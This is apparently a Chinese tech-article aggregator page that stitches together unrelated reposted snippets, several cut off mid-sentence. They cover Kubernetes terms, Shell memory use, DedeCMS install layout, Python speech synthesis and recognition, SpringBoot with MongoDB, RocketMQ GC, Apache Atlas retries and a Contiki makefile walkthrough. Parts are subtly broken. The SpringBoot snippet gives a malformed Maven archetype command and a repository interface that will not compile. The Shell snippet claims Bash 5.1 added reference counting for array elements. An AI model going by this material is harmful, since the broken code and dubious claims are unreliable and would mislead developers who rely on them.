https://blog.csdn.net/lickylin/article/details/22228047 转载于:https://www.cnblogs.com/r1ng0/p/9861525.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-05-03 13:04:20
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Kubernetes
...式、微服务、容器化、自动化部署、持续集成/持续部署(CI/CD)以及基础设施即代码(IaC)等特性,以实现高度灵活、快速迭代和成本效益高的应用开发和运营。 名词 , Kubernetes。 解释 , Kubernetes,简称K8s,是一款开源的容器编排系统,由Google开发并于2014年开源。Kubernetes提供了一套自动化的机制来部署、扩展和管理容器化应用,支持跨多个物理或虚拟服务器的部署,同时提供了资源调度、自动重启、滚动更新、服务发现等功能。它通过抽象出一组API和工具,使得开发者能够集中精力编写应用代码,而不是管理底层的基础设施。 名词 , 微服务。 解释 , 微服务是一种架构风格,将单一应用程序分解为一组小的、独立部署的服务,每个服务专注于特定的业务功能。这种架构允许各个服务独立开发、部署和扩展,提高了系统的可维护性和可扩展性。微服务通常通过API进行通信,可以运行在不同的服务器上,甚至可以运行在不同的数据中心或云环境中,支持快速迭代和独立发布。在云原生背景下,微服务与容器技术(如Docker)、Kubernetes等结合,形成了灵活、高效、可伸缩的应用部署方式。
2024-09-05 16:21:55
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昨夜星辰昨夜风
Shell
...开了新一轮的热议。在Docker和Kubernetes等容器化技术广泛应用的背景下,Shell脚本作为运维自动化的重要工具,其内在的资源消耗与效率问题显得更为关键。不少开发者在实践中发现,即使在看似轻量级的Shell脚本中,不恰当的编程习惯也可能引发意想不到的系统资源紧张。 今年早些时候,一篇发表在《Linux Journal》的技术文章深度剖析了Shell脚本潜在的“伪内存泄漏”现象,并给出了一系列详尽的检测方法和优化策略。作者强调,在编写长期运行或处理大量数据的Shell脚本时,应当遵循良好的编程规范,如及时释放不再使用的变量、谨慎使用无限循环以及确保正确关闭文件描述符以释放系统资源。 此外,随着Bash 5.1版本的发布,新特性中引入了对数组元素的引用计数机制,这一改进有望更精细地控制内存分配,减少不必要的字符串复制带来的内存开销。这意味着未来的Shell脚本开发将拥有更强大的内建工具来防止所谓的“内存泄漏”。 同时,一些第三方工具如Valgrind和shellcheck等也被推荐用于检查和优化Shell脚本,它们能帮助开发者深入分析代码执行过程中的内存行为,找出并修复可能导致内存消耗异常的问题。 总之,尽管Shell脚本的内存管理通常较为隐蔽,但在现代IT基础设施中,我们应当更加重视此类脚本的性能优化,通过学习最新的技术动态、采用最佳实践及借助专业工具,确保Shell脚本在提升工作效率的同时,也能做到对系统资源的有效利用与保护。
2023-01-25 16:29:39
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月影清风
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...o、dir 4.基本目录结构 / ..../install 安装程序目录,安装完后可删除[安装时必须有可写入权限] ..../dede 默认后台管理目录(可任意改名) ..../include 类库文件目录 ..../plus 附助程序目录 ..../member 会员目录 ..../images 系统默认模板图片存放目录 ..../uploads 默认上传目录[必须可写入] ..../a 默认HTML文件存放目录[必须可写入] ..../templets 系统默认内核模板目录 ..../data 系统缓存或其它可写入数据存放目录[必须可写入] ..../special 专题目录[生成一次专题后可以删除special/index.php,必须可写入] 5.PHP环境容易碰到的不兼容性问题 (1)data目录没写入权限,导致系统session无法使用,这将导致无法登录管理后台(直接表现为验证码不能正常显示); (2)php的上传的临时文件夹没设置好或没写入权限,这会导致文件上传的功能无法使用; (3)出现莫名的错误,如安装时显示空白,这样能是由于系统没装载mysql扩展导致的,对于初级用户,可以下载dede的php套件包,以方便简单的使用。 二、程序安装使用 1.下载程序解压到本地目录; 2.上传程序目录中的/uploads到网站根目录 3.运行http://www.yourname.com/install/index.php(yourname表示你的域名),按照安装提速说明进行程序安装 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_31879641/article/details/115616068。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-24 09:08:23
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...inux系统中的基本目录及文件操作命令后,用户可以更深入地探索其在实际运维和开发环境中的应用。近期,随着DevOps理念的普及和云计算技术的发展,对Linux系统管理能力的要求也在不断提高。例如,通过结合shell脚本自动化批量处理文件,或利用inotifywait工具监控文件变化实时触发相应操作,这些都大大提升了工作效率。 在信息安全领域,《Linux Journal》最近的一篇文章指出,熟练运用find、grep等命令进行日志分析与安全审计至关重要。同时,du命令结合ncdu这样的可视化工具,不仅能够帮助管理员直观了解磁盘使用情况,还能及时发现潜在的大文件问题,避免存储资源浪费。 此外,对于分布式文件系统如Hadoop HDFS或GlusterFS的管理,虽然底层原理与本地文件系统有所不同,但依然离不开ls、mkdir、cp、rm等基础命令的灵活运用。因此,在进一步学习中,读者可以关注如何将这些基础命令应用于大型集群环境,以及如何通过高级配置实现跨节点的文件操作。 在最新的Linux内核版本中,针对文件系统的优化和新特性也值得关注,例如Btrfs和ZFS等现代文件系统的引入,为用户提供更为强大且灵活的文件管理功能。综上所述,持续关注Linux操作系统的新发展动态,结合实战案例深入理解并灵活运用各项命令,是提高Linux系统管理能力的关键所在。
2023-06-16 19:29:49
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...音识别技术,也被称为自动语音识别,目标是以电脑自动将人类的语音内容转换为相应的文字和文字转换为语音。 文本转换为语音 使用 pyttsx 使用名为 pyttsx 的 python 包,你可以将文本转换为语音。直接使用 pip 就可以进行安装, 命令如下: pip install pyttsx3 下载缓慢推荐您使用第三方通道下载 pip install -i https://mirrors.aliyun.com/pypi/simple pyttsx3 【示例】使用 pyttsx 实现文本转换语音 import pyttsx3 as pyttsx 调用初始化方法,获取讲话对象engine = pyttsx.init()engine.say('加油!努力吧少年')engine.runAndWait() 使用 SAPI 在 python 中,你也可以使用 SAPI 来做文本到语音的转换。 【示例】使用 SAPI 实现文本转换语音 from win32com.client import Dispatch 获取讲话对象speaker = Dispatch('SAPI.SpVoice') 讲话内容speaker.Speak('猪哥猪哥,你真了不起')speaker.Speak('YL美吗?')speaker.Speak('ZS说她美吖') 释放对象del speaker 使用 SpeechLib 使用 SpeechLib,可以从文本文件中获取输入,再将其转换为语音。先使用 pip 安装, 命令如下: pip install comtypes 【示例】使用 SpeechLib 实现文本转换语音 from comtypes.client import CreateObjectfrom comtypes.gen import SpeechLib 获取语音对象,源头engine = CreateObject('SAPI.SpVoice') 输出到目标对象的流stream = CreateObject('SAPI.SpFileStream')infile = 'demo.txt'outfile = 'demo_audio.wav' 获取流写入通道stream.open(outfile, SpeechLib.SSFMCreateForWrite) 给语音源头添加输出流engine.AudioOutputStream = stream 读取文本内容 打开文件f = open(infile, 'r', encoding='utf-8') 读取文本内容theText = f.read() 关闭流对象f.close() 语音对象,读取文本内容engine.speak(theText)stream.close() 语音转换为文本 使用 PocketSphinx PocketSphinx 是一个用于语音转换文本的开源 API。它是一个轻量级的语音识别引擎, 尽管在桌面端也能很好地工作,它还专门为手机和移动设备做过调优。首先使用 pip 命令安装所需模块,命令如下: pip install PocketSphinxpip install SpeechRecognition 下载地址:https://pypi.org/project/SpeechRecognition/ 下载缓慢推荐您使用第三方通道下载 pip install -i https://mirrors.aliyun.com/pypi/simple 模块名 【示例】使用 PocketSphinx 实现语音转换文本 import speech_recognition as sr 获取语音文件audio_file = 'demo_audio.wav' 获取识别语音内容的对象r = sr.Recognizer() 打开语音文件with sr.AudioFile(audio_file) as source:audio = r.record(source) 将语音转化为文本 print('文本内容:', r.recognize_sphinx(audio)) recognize_sphinx() 参数中language='en-US' 默认是英语print('文本内容:', r.recognize_sphinx(audio, language='zh-CN')) 普通话识别问题 speech_recognition 默认识别英文,是不支持中文的,需要在Sphinx语音识别工具包里面下载对应的 普通话包 和 语言模型 。 安装步骤: 下 载 地 址:https://sourceforge.net/projects/cmusphinx/files/Acoustic%20and%20Language%20Models/ 点击 Mandarin下载cmusphinx-zh-cn-5.2.tar.gz并解压. 在python安装目录下找到Lib\site-packages\speech_recognition 点击进入pocketsphinx-data文件夹,会看到一个en-US文件夹,再新建文件夹zh-CN 在这个文件夹中添加进入刚刚解压的文件,需要注意:把解压出来的zh_cn.cd_cont_5000文件夹重命名为acoustic-model、zh_cn.lm.bin命名为language-model.lm.bin、zh_cn.dic中dic改为dict格式。即与en-US文件夹中命名一样。 参考:https://blog.csdn.net/qq_32643313/article/details/99936268 致以感谢 后序 浅显的学习语音识别,不足之处甚多,深究后,将更新文章。 感谢跟随老师的代码在未知领域里探索,希望我能走的更高更远 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_46092061/article/details/113945654。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-27 19:34:15
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SpringBoot
...的依赖关系。 3. 创建SpringBoot项目 接下来,我们可以开始创建我们的SpringBoot项目。首先,打开命令行工具,并进入你要存放项目的位置。然后,输入以下命令来创建一个新的SpringBoot项目: bash mvn archetype:generate -DgroupId=com.example -DartifactId=springboot-mongoapp -DarchetypeArtifactId= spring-boot-starter-parent -DinteractiveMode=false 这行命令的意思是使用Maven的archetype功能来生成一个新的SpringBoot项目,该项目的组ID为com.example, artifactID为springboot-mongoapp,父依赖为spring-boot-starter-parent。这个命令会自动为你创建好所有的项目文件和目录结构,包括pom.xml和src/main/java/com/example/springbootmongoapp等文件。 4. 配置SpringBoot和MongoDB 在创建好项目之后,我们需要进行一些配置工作。首先,我们需要在pom.xml文件中添加SpringDataMongoDB的依赖: xml org.springframework.boot spring-boot-starter-data-mongodb 这行代码的意思是我们需要使用SpringDataMongoDB来处理MongoDB的相关操作。然后,我们需要在application.properties文件中添加MongoDB的连接信息: properties spring.data.mongodb.uri=mongodb://localhost:27017/mydb 这行代码的意思是我们的MongoDB服务器位于本地主机的27017端口上,且数据库名为mydb。 5. 使用MongoTemplate操作MongoDB 在配置完成后,我们就可以开始使用MongoTemplate来操作MongoDB了。MongoTemplate是SpringDataMongoDB提供的一个类,它可以帮助我们执行各种数据库操作。下面是一些基本的操作示例: java @Autowired private MongoTemplate mongoTemplate; public void insert(String collectionName, String id, Object entity) { mongoTemplate.insert(entity, collectionName); } public List find(String collectionName, Query query) { return mongoTemplate.find(query, Object.class, collectionName); } 6. 使用Repository操作MongoDB 除了MongoTemplate之外,SpringDataMongoDB还提供了Repository接口,它可以帮助我们更加方便地进行数据库操作。我们完全可以把这个接口“继承”下来,然后自己动手编写几个核心的方法,就像是插入数据、查找信息、更新记录、删除项目这些基本操作,让它们各司其职,活跃在我们的程序里。下面是一个简单的示例: java @Repository public interface UserRepository extends MongoRepository { User findByUsername(String username); void deleteByUsername(String username); default void save(User user) { if (user.getId() == null) { user.setId(UUID.randomUUID().toString()); } super.save(user); } @Query(value = "{'username':?0}") List findByUsername(String username); } 7. 总结 总的来说,SpringBoot与MongoDB的集成是非常简单和便捷的。只需要几步简单的配置,我们就可以使用SpringBoot的强大功能来操作MongoDB。而且你知道吗,SpringDataMongoDB这家伙还藏着不少好东西嘞,像数据映射、查询、聚合这些高级功能,全都是它的拿手好戏。这样一来,我们开发应用程序就能又快又高效,简直像是插上了小翅膀一样飞速前进!所以,如果你正在琢磨着用NoSQL数据库来搭建你的数据存储方案,那我真心实意地拍胸脯推荐你试试SpringBoot配上MongoDB这个黄金组合,准保不会让你失望!
2023-04-09 13:34:32
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岁月如歌-t
RocketMQ
...序计数器、虚拟机栈、本地方法栈、堆和方法区等组成部分。在本文中,重点讨论了堆内存,它是存储对象实例的主要区域,GC(Garbage Collection,垃圾回收机制)主要针对堆内存进行无用对象的回收。 Garbage Collection (GC) , GC是一种自动内存管理机制,用于回收不再使用的Java对象所占用的内存空间,以防止内存泄漏并释放资源。在RocketMQ实际应用中,频繁的GC会导致系统性能下降,因为它会暂停程序执行(Stop-The-World事件),查找并清理无效对象,从而消耗CPU资源。 Apache RocketMQ , Apache RocketMQ是一款开源的消息中间件,由阿里巴巴集团开发并贡献给Apache基金会。它具备高性能、高可靠、分布式等特点,常用于构建大规模分布式系统中的消息传递、异步解耦和削峰填谷等场景。在文中,作者通过实例说明了在使用RocketMQ过程中,如果对JVM内存管理不当,可能会引发内存溢出或GC过于频繁的问题,并提供了相应的优化策略。 批量发送 , 在分布式消息系统如RocketMQ中,批量发送是指一次操作将多个消息对象同时发送至消息队列,而非逐个发送。这种做法可以减少网络通信开销,降低系统调用次数,同时也减少了短时间内创建大量临时对象导致的内存压力,有利于提升系统整体性能。
2023-05-31 21:40:26
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半夏微凉
Apache Atlas
...网络编程工具包在背后自动处理的,不是我们直接能写的。 但是,我可以帮助你构建一篇以“在面对网络不稳定时,Apache Atlas使用者如何优化系统设计和使用策略”为主题的文章,虽然不包含具体的Apache Atlas客户端连接代码,但会尽量满足你的其他要求。 1. 引言 在大数据时代,Apache Atlas作为一款强大的元数据管理系统,在企业级数据湖架构中扮演着至关重要的角色。不过,在实际动手部署和运维的过程中,我们免不了会碰到这样那样的小插曲,就比如说客户端和服务器之间的网络连接时好时坏,甚至有时候还会突然玩个“消失”。这不仅可能导致数据同步延迟,还可能引发一系列的数据一致性问题。在这篇文章里,咱们要实实在在地掰扯一下,在这个特定场景下,咱们该如何正确理解和有效应对,并且在使用Apache Atlas时,有哪些妙招能用上,让整个系统的健壮性和稳定性噌噌噌往上涨。 2. Apache Atlas的服务端与客户端通信机制 Apache Atlas主要通过RESTful API进行服务端与客户端的通信,这意味着任何与Atlas服务器的交互都将以HTTP请求的形式发生。当网络出现波动时,这些请求可能会超时、重试甚至失败。例如,当你尝试执行以下Atlas客户端调用操作(尽管这不是真正的代码,但在真实环境中,它会表现为一个HTTP请求): python 假设的Atlas客户端API调用示例(非真实代码) from atlas_client import AtlasClient client = AtlasClient(base_url="http://atlas-server:21000") entity_result = client.get_entity(guid='your-entity-guid') 3. 应对网络不稳定 策略与实践 (a) 重试机制 在面对网络不稳定时,首要的策略就是实施合理的重试机制。对于HTTP客户端库(如Python的requests库),我们可以设定自动重试策略: python import requests from requests.adapters import HTTPAdapter from urllib3.util.retry import Retry session = requests.Session() retries = Retry(total=5, backoff_factor=0.1, status_forcelist=[ 500, 502, 503, 504 ]) session.mount('http://', HTTPAdapter(max_retries=retries)) session.mount('https://', HTTPAdapter(max_retries=retries)) response = session.get('http://atlas-server:21000/api/atlas/v2/entity/guid/your-entity-guid') 这段伪代码展示了如何配置一个具有重试机制的HTTP客户端,以便在网络状况不佳时仍能尽力获取所需数据。 (b) 缓存策略 在短暂的网络中断期间,可以利用本地缓存存储近期获取的元数据信息,以此降低对实时连接的依赖。一旦网络恢复,再进行必要的数据同步更新。 (c) 心跳检测与故障转移 针对集群环境,可以通过定期心跳检测判断与Atlas服务器的连接状态,及时切换至备份服务器,确保服务的连续性。 4. 结论与思考 面对Apache Atlas客户端与服务器间网络连接不稳定或中断的情况,我们需要从系统设计层面出发,采用合适的容错策略和技术手段提高系统的鲁棒性。同时呢,咱们得摸清楚底层通信机制那些个特性,再结合实际的使用场景,不断打磨、优化咱们的解决方案。这样一来,才能真正让基于Apache Atlas搭建的大数据平台坚如磐石,稳定运行起来。 以上讨论并未给出Apache Atlas本身的代码实现,而是围绕其使用场景和策略给出了建议。实际上,每个项目都有其独特性,具体策略需要根据实际情况灵活调整和实施。
2024-01-10 17:08:06
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冬日暖阳
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...dir $@ $@是自动化变量,表示规则中的目标文件集。我们知道OBJECTDIR为obj_native,所以$@为obj_native。 mkdir $@生成obj_native目录。 但是这个依赖关系链,怎么会涉及到obj_native的? 调试了一下: 在生成CONTIKI_OBJECTFILES所代表的文件时,目录不存在,会先找依赖关系生成目录,再生成具体文件。 所以mkdir obj_native会被执行。 (2) ifdef APPSAPPDS = ${wildcard ${foreach DIR, $(APPDIRS), ${addprefix $(DIR)/, $(APPS)} }} \${wildcard ${addprefix $(CONTIKI)/apps/, $(APPS)} \${addprefix $(CONTIKI)/platform/$(TARGET)/apps/, $(APPS)} \$(APPS)}APPINCLUDES = ${foreach APP, $(APPS), ${wildcard ${foreach DIR, $(APPDS), $(DIR)/Makefile.$(APP)} }}-include $(APPINCLUDES)APP_SOURCES = ${foreach APP, $(APPS), $($(APP)_src)}DSC_SOURCES = ${foreach APP, $(APPS), $($(APP)_dsc)}CONTIKI_SOURCEFILES += $(APP_SOURCES) $(DSC_SOURCES)endif The project's makefile can also define in the APPS variable a list of applications from the apps/ directory that should be included in the Contiki system. hello-world这个例子没有定义APPS变量,故这段不会执行。 我们假设定义了APPS变量,其值为APPS += antelope unit-test。 相关知识点: wildcard函数: 返回所有符合pattern的文件名,以空格隔开。 $(wildcard pattern) The argument pattern is a file name pattern, typically containing wildcard characters (as in shell file name patterns). The result of wildcard is a space-separated list of the names of existing files that match the pattern. foreach函数: The syntax of the foreach function is: $(foreach var,list,text) The first two arguments, var and list, are expanded before anything else is done; note that the last argument, text, is not expanded at the same time. Then for each word of the expanded value of list, the variable named by the expanded value of var is set to that word, and text is expanded. Presumably text contains references to that variable, so its expansion will be different each time. The result is that text is expanded as many times as there are whitespace-separated words in list. The multiple expansions of text are concatenated, with spaces between them, to make the result of foreach. 每次从list中取出一个词(空格分隔),赋给var变量,然后text(一般有var变量)被拓展开来。 只要list中还有空格分隔符就会一直循环下去,每一次text返回的结果都会以空格分隔开。 ${wildcard ${foreach DIR, $(APPDIRS), ${addprefix $(DIR)/, $(APPS)} }} 先分析${foreach DIR, $(APPDIRS), ${addprefix $(DIR)/, $(APPS)} } 其中DIR是变量(var),$(APPDIRS)是列表(list),这个例子中没有定义APPDIRS这个变量,估计是用于定义除了$CONTIKI/apps/之外的apps目录。 ${addprefix $(DIR)/, $(APPS)}是text。我们假设定义了APPDIRS为a b。 那么第一次:DIR 会被赋值为a,${addprefix $(DIR)/, $(APPS)},又我们假定APPS为antelope unit-test,所以最终会被拓展为a/antelope a/unit-test。 DIR 会被赋值为b,${addprefix $(DIR)/, $(APPS)},又我们假定APPS为antelope unit-test,所以最终会被拓展为b/antelope b/unit-test。 最终这两次结果会以空格分隔开,即a/antelope a/unit-test b/antelope b/unit-test ${wildcard a/antelope a/unit-test b/antelope b/unit-test} 返回空,因为找不到符合这样的目录。 所以最终这句语句,实现的功能是,返回$APPDIRS目录中,所有符合$APPS的目录。 ${wildcard ${addprefix $(CONTIKI)/apps/, $(APPS)} 这句语句返回$(CONTIKI)/apps/目录下所有符合$APPS的目录,即contiki-release-2-7/apps/antelope contiki-release-2-7/apps/unit-test ${addprefix $(CONTIKI)/platform/$(TARGET)/apps/, $(APPS)} 这句语句返回$(CONTIKI)/platform/$(TARGET)/apps/目录下所有$APPS的目录,即contiki-release-2-7/platform/native/apps/antelope contiki-release-2-7/platform/native/apps/unit-test。 在contiki-release-2-7/platform/native目录下,并没有apps目录,后边有差错处理机制。 $(APPS) 在当前目录下的所有$APPS目录,即antelope unit-test。 在hello-world例子中,并没有这些目录。 所以APPDS变量是包含所有与$APPS有关的目录。 APPINCLUDES变量是所有需要导入的APP Makefile文件。 在所有APPDS目录下,所有Makefile.$(APPS)文件。 在我们的假设条件APPS = antelope unit-test, APPDIRS = 只会导入contiki-release-2-7/apps/antelope/Makefile.antelope contiki-release-2-7/apps/unit-test/Makefile.unit-test 其余的均不存在,所以在include指令前要有符号-,即出错继续执行后续指令。 contiki-release-2-7/apps/antelope/Makefile.antelope: 分别定义了两个变量,antelope_src用于保存antelope这个app的src文件,antelope_dsc用于保存antelope这个app的dsc文件。 contiki-release-2-7/apps/unit-test/Makefile.unit-test: 分别定义了两个变量,unit-test_src用于保存unit-test这个app的src文件,unit-tes_dsc用于保存unit-test这个app的dsc文件。 变量APP_SOURCES APP_SOURCES = ${foreach APP, $(APPS), $($(APP)_src)} 取出所有APPS中的src文件变量,这个例子是$(antelope_src) 和$(unit-test_src) 变量APP_SOURCES DSC_SOURCES = ${foreach APP, $(APPS), $($(APP)_dsc)} 取出所有APPS中的dsc文件变量,这个例子是$(antelope_dsc) 和$(unit-test_dsc) CONTIKI_SOURCEFILES += $(APP_SOURCES) $(DSC_SOURCES) 这段话的最终目的: 将$APPS相关的所有源文件添加进CONTIKI_SOURCEFILES变量中。 (3) target_makefile := $(wildcard $(CONTIKI)/platform/$(TARGET)/Makefile.$(TARGET) ${foreach TDIR, $(TARGETDIRS), $(TDIR)/$(TARGET)/Makefile.$(TARGET)}) Check if the target makefile exists, and create the object directory if necessary.ifeq ($(strip $(target_makefile)),)${error The target platform "$(TARGET)" does not exist (maybe it was misspelled?)}elseifneq (1, ${words $(target_makefile)})${error More than one TARGET Makefile found: $(target_makefile)}endifinclude $(target_makefile)endif 这断代码主要做的就是,找到在所有TAGET目录下找到符合的Makefile.$(TARGET)文件,放到target_makefile变量中。 再检查是否存在或者重复。并做相应的错误提示信息。 ${error The target platform "$(TARGET)" does not exist (maybe it was misspelled?)} ${error More than one TARGET Makefile found: $(target_makefile)} 我们这个例子中 TARGET = native 并且 TARGETDIRS为空 所以最后会导入$(CONTIKI)/platform/native/Makefile.native 接下去要开始分析target和cpu的makefile文件了。 转载于:https://www.cnblogs.com/songdechiu/p/6012718.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_34399060/article/details/94095820。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-28 09:49:23
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